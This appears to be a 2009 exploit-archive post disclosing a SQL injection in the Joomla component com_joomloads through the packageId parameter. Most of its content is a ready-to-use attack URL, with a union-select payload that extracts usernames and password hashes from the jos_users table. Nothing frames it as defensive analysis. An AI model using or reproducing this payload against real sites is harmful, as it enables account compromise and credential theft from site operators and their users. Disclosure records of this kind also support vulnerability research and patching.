[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Joomla Component com_joomloads (packageId) SQL Injection Vuln
# Published : 2009-07-23
# Author : Mr.tro0oqy
# Previous Title : AWCM 2.1 Local File Inclusion / Auth Bypass Vulnerabilities
# Next Title : PHP Melody 1.5.3 Remote File Upload Injection Vulnerability
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script : Joomla Component com_joomloads (packageId) Remote SQL Injection Vuln
[+] Found by : Mr.tro0oqy
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
--------
http://localhost/path/index.php?option=com_joomloads&view=package&Itemid=2&packageId=<SQL CODE>
demo:
-----
http://www.xxx.com/index.php?option=com_joomloads&view=package&Itemid=2&packageId=-156+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17+from+jos_users--
# www.Syue.com [2009-07-23]